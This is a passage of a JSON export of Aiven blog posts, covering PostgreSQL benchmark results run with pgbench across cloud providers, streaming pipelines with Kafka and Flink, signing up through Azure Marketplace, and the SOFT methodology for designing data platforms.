follows:\n\n```\n$ pgbench --client=\u003cstartup_plan\u003e --jobs=2 --report-latencies --time=3600 --log --aggregate-interval=1 keepalives='1' keepalives_count='12' keepalives_idle='180' keepalives_interval='10' sslmode='require'\n```\n\nThe variable for the startup plan being tested was the --client switch. The values for the four startup plans were, descriptively enough we hope, 4, 16, 32, and 64.\n\nThe load generator instance types used were as follows:\n- AWS: m4.large\n- GCP: n2d-standard-2 \n- Azure: standard_DS2_v2\n\nAs in a production PostgreSQL (PG) setup, the local SSDs running PG used LUKS full-disk encryption with WAL archiving enabled. The PG instances under test were initialized as follows (shown here without connection parameters):\n\n```\n$ pgbench --initialize --scale=\u003cscale\u003e --quiet keepalives='1' keepalives_count='12' keepalives_idle='180' keepalives_interval='10' sslmode='require'\n```\n\nThe --scale parameter was adjusted to accommodate each plan; in this case, the DB size was roughly double the size of RAM, with the possible values of 500, 1500, 2500, and 4500.\n\nTo minimize the effects of variable latency on our benchmark, we used a comparable central Europe region for each provider:\n\n- AWS: eu-central-1\n- GCP: europe-west3\n- Azure: germany-westcentral (* westeurope; see results below)\n\nFinally, we concluded the benchmark by calculating the average mTPS/$ per PG plan according to publicly available pricing information.\n\n## Transactions per second\n\n### Aiven Startup-4 plans\n![PG Benchmark graphs](//cdn.sanity.io/images/sczeoy4w/production/9a1e35ed5f4eca2e8c7ded98de7c19d3b5799e0f-1567x844.png \"Startup-4 performance\")\n\n### Aiven Startup-16 plans\n![PG Benchmark graphs2](//cdn.sanity.io/images/sczeoy4w/production/23037502ee22969bc30c9b496983f3d2f3be7b33-1567x844.png \"Startup-16 performance\")\n\n### Aiven Startup-32 plans\n![PG Benchmark graphs3](//cdn.sanity.io/images/sczeoy4w/production/3fac12c342aef47889389e8f1dbb8f53f16f3e47-1567x844.png \"Startup-32 performance\")\n### Aiven Startup-64 plans\nFor the startup-64 plan on Azure in germany-westcentral region, we noted abnormally low performance. An identical test on westeurope was more in line with expectations, where the instance type was standard_l8s_v2 with fewer CPU cores, but higher RAM.\n![PG Benchmark graphs4](//cdn.sanity.io/images/sczeoy4w/production/3f5fb3eba6a33c9bd7983e25c2cdca0fb5a7062c-1567x844.png \"Startup-64 performance\")\n## mTPS/$ average per service plan size\nPerformance value was calculated as an average of millions of transactions per second per dollar or (mTPS/$) for each cloud provider. \n\nWe found that, overall, the performance/cost difference between cloud providers quite substantially favored Google. As before, Startup-4 plans were an exception:\n\n![PG Benchmark graphs tables1](//cdn.sanity.io/images/sczeoy4w/production/3b9f8fc569312168deeb79b2280cc9b4552f7028-1567x1354.jpg \"Transactions per second per dollar for each cloud provider\")\n\n## Wrapping up\nMany factors affect PostgreSQL performance, including latency differences between the regions, but didn’t differentiate for in this benchmark. There is also another factor to consider, which is variably-sized workloads. In this benchmark, the basic idea was to generate a significant load on tested services by using a large number of parallel client connections.\n\nWe always recommend that standalone PostgreSQL users identify performance bottlenecks and tune their database configuration, workload or hardware configuration to optimize. However, in our managed PostgreSQL services, PostgreSQL system parameters come preconfigured for typical workloads, and you can try out different hardware configurations by choosing different Aiven for PostgreSQL plans.\n\nWe also recommend you to run your own benchmarks, and we will soon publish our Terraform benchmarking scripts that allow easily repeating similar performance tests. \n\nWe’ll be publishing more benchmarks like these soon, so stay tuned!\n\n## Next steps\nYour next step could be to check out [Aiven for PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL\").\n\nIf you're not using Aiven services yet, go ahead and sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"6M8DLtFLBnGLS1UOa20n4K","_ref":"6M8DLtFLBnGLS1UOa20n4K","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-3eb1b1efb1b5f0343cbbd0a0668ed0af38005b02-1567x844-png","_type":"reference"}},"publishedAt":"2021-09-16T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Welcome to our latest benchmark figures for Aiven for PostgreSQL on AWS, GCP and MS Azure. Find out how Aiven services perform across clouds.","metaImage":{"alt":"","asset":{"_ref":"image-3eb1b1efb1b5f0343cbbd0a0668ed0af38005b02-1567x844-png","_type":"reference"}},"metaTitle":"Optimizing Aiven for PostgreSQL® 13 on Cloud Platforms "},"slug":{"_type":"slug","current":"/blog/aiven-for-postgresql-13-performance-on-gcp-aws-and-azure-benchmark"},"subtitle":"Welcome to our latest benchmark figures for Aiven for PostgreSQL on AWS, GCP and MS Azure. Find out how Aiven services perform across clouds.","title":"Aiven for PostgreSQL® 13 performance on GCP, AWS and Azure [Benchmark]"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"2CKVoUxT8ZzGnLm7Sr23gu","_rev":"neae7oL4y1FotDvvR1WROe","_type":"post","_updatedAt":"2024-07-09T12:37:51Z","authors":[{"_key":"2Ryrx752TTp7pQatYrn0lw","_ref":"2Ryrx752TTp7pQatYrn0lw","_type":"reference"}],"body":"Let’s talk about streaming. Not the “over the counter” streaming services that deliver shows and movies to your laptop and TV, but the big services that move data between repositories. \n\nThere is whole a group of technologies for dealing with massive amounts of data for real time, low latency use cases. This mature ecosystem makes it easy to get started and expand your use case with a low risk investment. \n\nGet it working, and keep it working while failing fast.\n\nLet’s take a look at a growing industry trend and get some insight into whether building a streaming pipeline is right for your business.\n\n## Why are streaming insights important?\nWhat can your data do?\n\n- Real time monitoring/scaling\n- [Anomaly detection](https://aiven.io/docs/tutorials/anomaly-detection \"Anomaly detection\")\n- Shopping cart abandonment for ecommerce\n- Security and automation\n\nStreaming technologies are growing in popularity because they promise to increase business agility. Your business can [gain a competitive advantage](https://aiven.io/blog/why-you-should-think-about-moving-analytics-from-batch-to-real-time \"Move from batch to streaming\") from making decisions faster and enabling collaboration between business units. Streaming architectures allow your teams to iterate faster, enable more teams with more data, and create collaboration between departments.\n\nMany of these tools are open source, and are becoming more popular in the industry. Both are factors that get you access to a wide and widening talent pool to drive innovation. \n\nLater in this post, we will talk about the technologies; for now, remember that streaming data comes from a “source”, and eventually lands in a database, data lake, or data warehouse after some processing. Each streaming technology has its own ecosystem of integration libraries to support certain use cases. Some are better fits for big data and ETL/ELT, while others are better for machine learning and artificial intelligence.\n\nMany businesses are sitting on top of untapped mountains of data gold. With streaming technologies,businesses can start making use of the untapped potential in their decision-making. It isn’t magic: given the right investment, it just means that you can put the right data in front of the right people faster. \n\n## When should you leverage streaming insights?\nStreaming insights can likely help transform your business if any of the following are true:\n\n- You have a wealth of data\n- You are using database technologies that support Change Data Capture\n- Increasing team collaboration results in increased business agility\n- Strict data governance policies adds friction to internal processes\n\nYour dataset is constantly changing and you don’t fully understand the what data you have access to, or it potential for adding business value\n\nA business or technology leader should always consider the ROI for any initiative and work to de-risk the investment. Here are some tips to use Pareto’s Principle (the 80/20 rule) to find the low hanging fruit and set your team up for success with fail-fast iterations and clear milestones.\n\nFirst confirm that you have the data, and what it is. Consult with your data team to get an idea of your data retention, data volume, and other potential data sources, i.e. what are you deleting or just not tracking? This gives you a good idea of what is available and how much historical data is stored.\n\nSecond, check your tech stack to see which databases your application is using. Services like MySQL, Postgres, Cassandra, Oracle, MongoDB, and SQL Server have out of the box integrations with tools like Apache Kafka and Kafka connect. You can leverage Change Data Capture (CDC) to “listen” to database changes and convert them to event streams. This way, legacy applications can become modern real-time streaming applications with hardly any development effort.\n\nConsider your use cases and take a look at common use cases for each framework. For example, you might be able to find case studies related to similar use cases running machine learning on Spark, or advanced stream processing on [Flink](https://aiven.io/flink \"Aiven for Apache Flink\"). We talk about this more in the next sections, but it will help inform which tools can be used once your data is in Kafka.\n\n## How can you implement and leverage streaming insights?\nMany technologies provide similar functionality, but they are not all the same. When it comes to scale, the contributor community, or the ecosystem of integrations with other enterprise grade technologies, they are all different. \n\nThrough trial by fire, the industry tends to pick a leading technology for particular use cases. This is true for language frameworks, databases, and even primary cloud providers. Kafka has been at the forefront of streaming data technology for nearly a decade. We will discuss how Kafka solves challenges in streaming applications and reduces the friction of innovation.\n\nApache Kafka originated in LinkedIn and has grown up to become the industry standard in high throughput and low latency applications. Open source contributors have built an ecosystem of tooling around it to simplify its operation and usage. It is largely based on a Pub-Sub model, facilitating asynchronous processing of events and decoupled scaling of producers and consumers. This is oversimplified, but the point is that Kafka is the foundation of a streaming architecture.It is the pipe that allows data to flow.\n\nApache Kafka Connect defines a common API (Abstract Programming Interface) for technologies to connect to Kafka as producers or consumers. This means you can integrate tools and technologies you are already using with Kafka with minimal effort. Many times, with functionality like CDC, the implementation actually requires zero engineering effort. Aiven has worked with customers to convert legacy systems to event driven architecture in a matter of days with the help of Kafka Connect and CDC.\n\nWhere Kafka Connect is a simple way to get your data into and out of Kafka, you likely want to do other complex processing like joining, windowing, transformations, or filtering. This can be accomplished with low level Kafka libraries or Kafka Streams clients, but that takes engineering effort. The low cost alternatives are configuration, and integration based frameworks. Confluent’s proprietary kSQL allows powerful stream processing of data in Kafka. However, other open source technologies provide more powerful processing plus a wider set of integration points.\n\nFlink is one technology that provides complex stream processing functionality through a SQL-Like syntax for filtering, joining, and transforming data in Kafka, as well in as other systems like Postgres, Elasticsearch, and OpenSearch. This can be extended to other data integrations like Hadoop and Cassandra. But the real power goes beyond the configuration based use cases. You get custom jobs, and a built-in job manager. Flink is everything from a data science experimentation lab, to a robust ETL tool suite, to a cutting edge machine learning platform for driving real business in the tool ecosystem that is right for your use case and business.\n\nAny time we Aiven’s Solution Architects talk to customers and prospects, we push them towards more mature cloud native deployments. It’s not always easy. Sometimes this includes difficult conversations. You NEED to have an answer for the following points, even if that answer is “Not right now; put it on the backlog.”\n\n- What are your growth projections and how does that scale for performance? How does that scale financially? Big data is expensive.\n- What are your performance and latency requirements? “High throughput,” “low latency,” and “low cost” … pick two, or get creative. Make sure you have well defined SLAs and budgets.\n- What is your plan for security? The easiest time to get security and best practices in place is before rolling it out. Retro-fitting an enterprise deployment of Kafka with a microservice architecture is not an easy or in-expensive task. Security should be a top priority. \n\n## What’s next?\nMake sure that you set your team up for success using the tips above to find the low hanging fruit and start iterating quickly. It is easy to set up integrations with your existing system and start exploring your data. The ecosystem of tools allows for quick time to value with minimal upfront investment, allowing you to set clear milestones and fail fast. \n\nThis is the first step down a path with many forks; Aiven has taken this journey countless times, watching companies leverage open source streaming technologies to drive growth.\n\n## Wrapping up\nYour next step could be to check out [Aiven for Apache Kafka](https://aiven.io/kafka \"Aiven for Apache Kafka\") and [Aiven for Apache Flink](https://aiven.io/flink \"Aiven for Apache Flink\").\n\nIf you're not using Aiven services yet, go ahead and sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n## Further Reading\n\n- [Introduction to event-based programming](https://aiven.io/blog/introduction-to-event-based-programming)","categories":[{"_key":"1wgqjrglPyMfEWcMYN3YcQ","_ref":"1wgqjrglPyMfEWcMYN3YcQ","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-67df540d3fb05ef587149f0551bdbef21ca528b6-1567x844-png","_type":"reference"}},"publishedAt":"2021-12-02T00:00:00.000Z","related":[{"_key":"d64cfb611391","_ref":"b06fbbce-a80e-4e66-b4b1-dc6f57f9023f","_type":"reference"},{"_key":"9e9ea8a26730","_ref":"6d2dc544-51e6-459e-8669-8d92544accb2","_type":"reference"}],"seo":{"metaDescription":"Your streaming data is a valuable asset. Find out why you should be hoarding and analyzing it, and how to start building that pipeline.","metaImage":{"alt":"","asset":{"_ref":"image-67df540d3fb05ef587149f0551bdbef21ca528b6-1567x844-png","_type":"reference"}},"metaTitle":"Easy real time streaming insights"},"slug":{"_type":"slug","current":"/blog/easy-real-time-streaming-insights"},"subtitle":"Your streaming data is a valuable asset. Find out why you should be hoarding and analyzing it, and how to start building that pipeline.","title":"Easy real time streaming insights"} {"__i18n_lang":"en","_createdAt":"2022-11-02T07:00:02Z","_id":"7e6f8eca-cb6e-4ad4-ae5d-465ed5088c54","_rev":"ZgPiUE9lJ1tcRKuFnQedM5","_type":"post","_updatedAt":"2024-07-09T14:03:52Z","authors":[{"_key":"bf7ba4d3669c","_ref":"88df9be3-cf62-449e-85f6-dbfe05cb477f","_type":"reference"}],"body":"Through our close partnership with Microsoft®, we are now able to provide Aiven services natively through the Microsoft® Azure Marketplace and provide easy access to all Aiven services especially for customers who are already familiar with the Azure ecosystem and help them to leverage their long term commitment to Microsoft Azure for Aiven services on the Azure platform.\n\n## What does Aiven being on Azure Marketplace mean for me?\n\nBy signing up to Aiven via the marketplace, you will get the same level of access to the Aiven control plane and services such as [Aiven for Apache Kafka®](https://aiven.io/kafka) and [Aiven for PostgreSQL®](https://aiven.io/postgresql) as when signing up directly through Aiven. \n\nThe price is the same as when signing up directly via the Aiven website, and the payments are automatically managed through your Azure billing account. \nIf you are interested in a longer-term contract, For commitment discounts, contact Aiven sales directly for a private offer. If you have an existing Azure commitment, your Aiven service spend can count towards your commitment spend (for more information, contact your Microsoft contact person).\n\n## What is included in the price?\n\nSimilarly to all other Aiven customers, the basic level of support is automatically included in the price. Higher support tiers with better SLA and additional tooling and channels to contact Aiven support team are also available. For more information, see the [Aiven pricing page](https://aiven.io/pricing). \n\nThe subscription does not include any monthly fees - everything is “pay as you go” and charged hourly. You can track your service spend in the Azure console and the prices of the services are shown also in the Aiven Console when you are creating them, before starting any then. \n\nYou can power down services and power them back up when needed. Everything works automatically behind the scenes.\n\n## Getting started\n\nTo sign up, go to the [Aiven listing on the Azure marketplace](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/aivenltd1590663507662.aiven_managed_database_services?tab=Overview) and subscribe using your billing account and your Azure AD user account. You can then proceed to set up the subscription on the Aiven Console: sign up with your Azure AD user and confirm the subscription. You’ll be ready to start moving data in minutes!\n\nStep 1. On the [Aiven page on Azure Marketplace](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/aivenltd1590663507662.aiven_managed_database_services?tab=Overview), click **Get it now**.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/2e91702e13857b3898d27261d33b06b08f2836e8-600x408.png)\n\nStep 2. Set up your subscription. You may have to sign in to Azure first. Select a plan, give your subscription a name, assign it to the resource group, assign tags, and anything else that is needed.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/6334f204765bec65c8d05d936671a3b365ce7b7e-1999x1143.png)\n\n\nStep 3. After reviewing the options, click **Subscribe**. The subscription process starts - it may take a few minutes to complete.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/ff5ad0ca917050625b75b73eb13d657947729602-600x246.png)\n\nStep 4. When the subscription is complete, you get a Thank you page. Click the **Configure account now** button to move over to Aiven for finalization.\n\nStep 5. Sign up to the Aiven Console with your Microsoft credentials. (If you already have an existing Aiven account, take care not to use those credentials to sign in. You need the separate account from Azure Marketplace to continue.)\nIf you're subscribing via Azure Marketplace for the first time, you may need to verify your e-mail address. Check your e-mail and follow the instructions.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/f2dff19b5c66f5a1484bb4614fd422a488829e93-600x343.png)\n\nStep 6. Click **Verify subscription**.\n\nStep 7. And you're finished! Click **Log in to Aiven Console** to continue to the creation of projects and services.\n\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/360a4efc9c83c6ee3b2eaebe954038ac6bf5240d-600x360.png)\n\n**Tip**: You may want to rename your account - the identifier provided by Azure Marketplace isn't very user-friendly.\n\n\n\u003c!-- copypasta:\n\n®\n™\n\ntoc format:\n\n- [First part](#first-part)\n- [Second part](#second-part)\n- [Wrapping up](#wrapping-up)\n\nimage links: ![image](image URL)\n\n[Back to top](/blog/slug-line/#toc)\n--\u003e\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n\n::banner[You found it!]{ctaText=\"Sign up for a free trial now\" ctaLink=\"https://console.aiven.io/signup\" title=\"Still looking for a managed data platform?\" theme=\"dark\"}\n\n\n## Further reading\n\n- [PostgreSQL® Performance in AWS, GCP, Azure, DO and UpCloud](https://aiven.io/blog/postgresql-cloud-performance)","categories":[{"_key":"0156293a90a1","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-d87a689961ac59cebd1d8245b24c2fb04e6c9ec8-2500x1308-png","_type":"reference"}},"publishedAt":"2022-11-17T16:10:00.000Z","related":[{"_key":"bd342db52d1b","_ref":"3e8182c9-5554-4307-8e5f-97e22155fa7a","_type":"reference"},{"_key":"da86a9f5702c","_ref":"7aU0u7ICLy7z1A25sdRUHk","_type":"reference"},{"_key":"98f455d497ce","_ref":"4p1IgkhLKJMD5e7PmJuzMX","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Get Aiven managed data infrastructure services now also from the Microsoft® Azure Marketplace with the click of a button.","metaTitle":"Aiven on Azure Marketplace now"},"slug":{"_type":"slug","current":"/blog/aiven-on-microsoft-azure-marketplace"},"subtitle":"We're proud to announce that you can now get Aiven services also directly from Azure Marketplace. Find out what it means—for you.","title":"Aiven services now available on Microsoft® Azure Marketplace"} {"__i18n_lang":"en","_createdAt":"2022-12-07T08:42:25Z","_id":"b5983f68-dc8a-4425-8c63-563319eaa59d","_rev":"Y6NNh6Ue45iOdNdcwARRHa","_type":"post","_updatedAt":"2024-07-05T10:19:33Z","authors":[{"_key":"a0fe4bb294c3","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"}],"body":"In today's data-driven era, it's critical to design data platforms to help business to foster innovation and compete in the market. Selecting a robust, future-proof set of tools and architecture requires an act of balance between the purely technological concerns and the wider constraints of the project. These constraints include challenges regarding regulations, existing workforce skills, talent acquisition, agreed timelines, and your company’s established processes. \n\nA modern data platform is the set of technologies, configuration and implementation details that allows data to be stored and moved across the company systems to satisfy business needs. The SOFT methodology introduces an approach, based on four pillars, to define future-proof and effective data platforms that are scalable, observable, fast and trustworthy. Its aim is to enable data architects and decision makers to evaluate both current implementations and future architectures across a different set of criteria. \n\n* **Scalable:** the ability of a solution to handle variability in: load volumes, use-cases, development platforms and cost. \n* **Observable:** are there options around service monitoring and data assets discovery.\n* **Fast:** analyzing the time to deliver data, develop pipelines and recover from problems.\n* **Trustworthy:** the ability to provide secure, auditable and consistent results.\n\nThe rest of the blog examines each of the pillars in detail, providing the set of questions to be addressed during an evaluation for each pillar.\n\n## Scalable\n\nData volumes and use cases are growing every day at unprecedented pace, therefore we need to find technological solutions that support the current set of requirements and have the ability to **scale** across different directions.\n\n### Technological scaling\n\nDesign a solution with space for growth. Defining the current need and forecasting the future growth can help us understand if and when we'll hit the limits of a certain architecture. The modern cloud enables very deep **vertical scaling**, by creating bigger servers, but high availability and quick failovers are also important considerations. Technologies with support for **horizontal scaling**, splitting the load across nodes, usually offer a bigger variety of options for up/down sizing depending on needs, but these may incur [consistency tradeoffs](https://en.wikipedia.org/wiki/CAP_theorem). \n\nIn addition to raw scaling, we also need to consider the **automation options** and the **time to scale**. We should be able to up/down size a data platform both manually if a **peak in traffic is forecasted**, and automatically when certain monitoring **thresholds are exceeded**. The time to scale is also crucial: keeping it at a minimum enables both better elasticity and less waste of resources.\n\nWhen considering technology scaling, we need to have a broad evaluation of the tooling: not only primary instance, but also high availability, the possibility of read only replicas, and the robustness and speed of [backup and restore](https://aiven.io/blog/introducing-myhoard-your-single-solution-to-mysql-backups-and-restoration) processes.\n\n### Business cases scaling\n\nEvery business has a constantly growing collection of data, therefore a data platform solution needs to have both a low barrier of entry for new use cases, and enough capacity to support their solution.\n\nHaving great integrations available is crucial for the solution to support more use cases and new technologies. Proper, scalable **security management** and use-case isolation is needed to comply with regulation around data protection. We also need the ability to have separation of our data islands.\n\nFor even more data success, providing interfaces to explore already available datasets promotes data re-usage in different use cases and accelerates innovation.\n\n### Human scaling\n\nNo matter how much automation is in place, **data platforms need humans** to build, test, and monitor new pipelines. When selecting a data solution we need to evaluate the skills and experience of the current team, and the possible cost of growth based on geographies where the company is operating. \n\nSelecting well-adopted, open source data solutions is associated with bigger talent pools and more enthusiastic developers. Using managed solutions offering pre-defined integrations and extended functionality can help by taking some of the burden away from the team allowing humans to focus on building rather than maintaining.\n\n### Financial scaling\n\nThe last part of scalability is related to money. A technically perfectly valid data solution can't be adopted if it is not [financially sustainable](https://aiven.io/blog/optimizing-cloud-infrastructure-costs). Understanding the **dollar-to-scale** ratio is very important, as well as mapping future changes in the architecture that could raise costs significantly.\n\nWe need to calculate the derivative of the cost, aiming at solutions that can scale linearly (or hopefully less) with the amount of data. \n\nQuestions to ask:\n\n* What options are there to scale this technology, vertically and horizontally? \n* How easy is it to add new technologies?\n* How can we manage data security?\n* What is the current experience of the team? \n* How big is the talent pool?\n* How complex is the management vs the development?\n* How easy is it to add/extract new data, or integrate with other technologies?\n* What will scaling cost? Does it grow linearly with the data volume?\n\nThe risk of not evaluating the financial scalability, is to build a perfect system that works now, but can't cope with the future success of our business or use-case.\n\n## Observable\n\nThe old days of checking the batch status at 8AM are gone: modern data platforms and new streaming data pipelines are \"live systems\" where monitoring, understanding errors and applying fixes promptly is a requirement to provide successful outcomes. \n\n### Monitor\n\nChecking the data pipeline end status on a dashboard is not enough, we need to have methods to easily define:\n\n* metrics and log integration\n* aggregations and relevant KPIs (Key Performance Indicators)\n* alert thresholds\n* automatic notifications\n\nRelying on a human watching a screen is not a great use of resources and doesn't scale. Automating platform observability and selecting tools that enable accurate external monitoring allows companies to centralize management efforts.\n\n### Recreate the bird's eye view\n\nWith new pipelines and new technologies being added all the time, it's hard to keep an inventory of all your data assets and how they integrate between each other. A future-proof data solution needs to provide an [automatic harvesting, consolidation and exposure of data assets and their inter-linkage](https://aiven.io/blog/metadata-parser). \n\nBeing able to trace where a certain data point came from is critical. We should be able to establish what transformations were performed, where the data exists, and who or what can interact with it at any point in the pipeline. This information is going to help us to comply with security and privacy requirements, especially data lineage, security, impact assessments and GDPR queries.\n\nObtaining a queryable global map of the data assets provides additional benefits regarding data-reusability: by exposing the assets already present in a company, we can avoid repeated data efforts, and promote data re-usage across departments for faster innovation.\n\n### History replay and data versioning\n\nWith continuously evolving systems, having the ability to replay parts of the history provides ways to create baselines and compare results. These can help detecting regression or errors in new developments and evaluate impact of changes in the architecture.\n\nEasily spinning off new \"prod-like\" development environments enables faster dev iteration, safer hypothesis validation, and more accurate testing.\n\nHaving a \"data versioning\" capability, allows to compare the results of data manipulation across development stages; adding the \"metrics versioning\" containing execution statistics enables a better (and possibly automatic) handling of performance regressions.\n\nQuestions to ask:\n\n* What's happening now in my data platform?\n* Is everything working ok? Are there any delays?\n* What data assets do I have across my company?\n* How is my data transformed across the company?\n* Can I replay part of the pipelines in the event of processing errors?\n* How is a change performing against a baseline?\n\n## Fast\n\nFrom micro-batching to streaming, the time to data delivery is trending towards real-time. The old times of reporting on yesterday's data are gone, we need to be able to report in near real time on what's currently happening in our business, based on fresh data.\n\n### Time to develop\n\nDelivering data in near-real time is useless if developing and testing pipelines takes weeks of work. The toolchain should be self-service and user-friendly. To achieve this, it is crucial to identify the target developers and their skills, and to select a set of technologies that will allow this group to work quickly, effectively, and happily. Once the use case is defined, it is also worth checking for existing solutions that can help by removing part of the problem's complexity.\n\nInvesting time on automation diminishes the friction and delay in the deployment of the data pipelines. People shouldn't lose time in clicking around to move a prototype to production. Automated checks and promotion pipelines should take care of this part of the artifact journey.\n\n### Time to deliver\n\nSelecting a data architecture that enables data streaming is key to building future-proof pipelines. Having the ability to transition from batch to streaming also allows to improve existing pipelines in an iterative fashion, rather than requiring a big bang approach.\n\nAn integral part of the **Time To Deliver(y)** is also the **Time To Execute**: the performance of your chosen platform needs to be evaluated against target latency figures.\n\n### Time to recover\n\nFinally, it's crucially important to define acceptable **Time To Recover** thresholds when data pipelines run into problems. To achieve this, take the time to understand, test and verify what the selected toolchain has to offer in this space. Especially when dealing with stateful transformations, it is crucial to navigate the options regarding checkpoints, exactly-once delivery, and replay of events. The events replay in particular can be handy to verify new developments, run A/B tests, and quickly recover from problematic situations.\n\nQuestions to ask:\n\n* How much delay is there between the source event and the related insight?\n* How good is the technology performance for the task?\n* How fast can we create new pipelines?\n* How fast can we promote a change to production?\n* How fast can I recover from a crash?\n\n\n## Trustworthy\n\nData is the most valuable asset for companies, and building trusted data platforms is key to ensure quality input is available to all stakeholders.\n\n### Security\n\nThe first aspect of trust is related to security. As briefly mentioned in the [Observable](#observable) section, the toolchain should allow us to define and continuously monitor [which actors can access a certain data point and what privileges they have](https://aiven.io/blog/metadata-parser). Moreover, platforms should provide enough logging and monitoring capabilities to detect and report, in real time, any inappropriate access to data. Providing a way to evaluate implications of security changes (impact assessment) would guarantee an extra level of checking before making a change.\n\nRegulations define what is the correct usage of data, and which attributes need to be masked or removed. To build future-proof data platforms we need the ability to apply different obfuscation processes depending on the roles/privileges of the data receiver. \n\nIn the article we covered a lot about automation. For security, whilst a lot of checks can be performed with code, we might still want to retain manual gates that need a human evaluation and approval allowing companies to comply with the needed security regulations.\n\n### Vendor's ecosystem evaluation\n\nTo build trustworthy future-proof data platforms, we need trust in the vendors or projects providing the tools, and their ability to continue to evolve with new features during the lifetime of the tool.\n\nTherefore a wide assessment of the company or open source project is required: consider the tool's adoption, any existing community and related growing patterns, and available support methods. Taken together, these topics can help understanding if a current tech solution will still be a good choice in future years.\n\n### Data locality and cloud options\n\nCompanies might need to define where in the world the data is stored and manipulated. Being forced to use consistent locations across the entire data pipeline might reduce the list of technologies or vendors available. The choice can further be refined by internal policies regarding the adoption of cloud, managed services or multi-cloud strategies.\n\n### Data correctness\n\nFrom a pure data point of view, \"trustable\" means that the **generated results can be trusted**. \nThe results needs to be fresh, correct, repeatable and consistent: \n* **Fresh**: the results are a representation of the most recent and accurate data. \n* **Correct**: the KPIs and transformations should follow the definitions. A data transformation/KPI should be defined once across the company, providing a **unique source of truth**.\n* **Repeatable**: the workflow could be run again with the same input and provide the same output.\n* **Consistent**: performance is resilient to errors and consistent across time, giving stakeholders the confidence to receive the data in a timely manner.\n\nQuestions to ask:\n\n* How can I secure my data? Can I mask it, and apply filters to rows/columns?\n* Do I trust the vendor or project providing the tool?\n* Can I use the tool in a specific datacenter/region?\n* Can I precisely locate my data at any stage of my flow? Both from a technical and also geographical point of view?\n* Can I trust the data? Is it correct, are results repeatable, on time, and consistent?\n* How many times do we have a particular KPI defined across the company?\n\n## Deploy SOFT in your own organization\n\nWhether you are looking to define your next data platform, or evaluating the existing ones, the SOFT framework provides a comprehensive set of guidelines to help you assess your options. By using the list of questions as a baseline for the evaluation, you can properly compare different solutions and make a better informed decision about the perfect fit for your data needs.\n\nTake the SOFT framework into usage, and let us know your opinion!\n\n\n\n\n\u003c!-- copypasta:\n\n®\n™\n– en-dash\n— em-dash\n\ntoc format:\n\n- [First part](#first-part)\n- [Second part](#second-part)\n- [Wrapping up](#wrapping-up)\n\nimage links: ![image](image URL)\n\ntext links: [body / link text](target URL)\n\nCode snippets: `written like this`\n\n[Back to top](/blog/slug-line/#toc)\n\n\n## First part\n\n## Second part\n\n## Wrapping up\n\n\n--\u003e\n\n\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n::banner[Learn how to create a highly available Apache Kafka service, go over the common tasks of producing and consuming messages, and finally use the popular Apache Avro™ specification to communicate with your Kafka service.]{ctaText=\"Check the tutorial\" ctaLink=\"https://aiven.io/developer/how-to-send-and-receive-application-data-from-apache-kafka\" title=\"How to send and receive application data from Apache Kafka®\" theme=\"dark\"}\n","categories":[{"_key":"4d4f86db48de","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","asset":{"_ref":"image-d74f423b1608763b20d935e0eda7b60d29e65ed8-1567x844-png","_type":"reference"}},"publishedAt":"2022-12-08T13:52:17.636Z","related":[{"_key":"04524b3fa693","_ref":"9a3a45e9-76c1-438a-9222-19f024dd7917","_type":"reference"},{"_key":"efb6c63a7439","_ref":"2buJjGffFsGlM8WYzORUIs","_type":"reference"},{"_key":"de9ab4ceb472","_ref":"66ccc151-4379-4389-8c5c-92ae18d73d3a","_type":"reference"}],"slug":{"_type":"slug","current":"/blog/a-soft-methodology-to-define-robust-data-platforms"},"subtitle":"Making robust and future-proof decisions about your data setup can be complex. The SOFT methodology is here to guide you to the right choices for your needs.","title":"A SOFT methodology to define robust data platforms"} 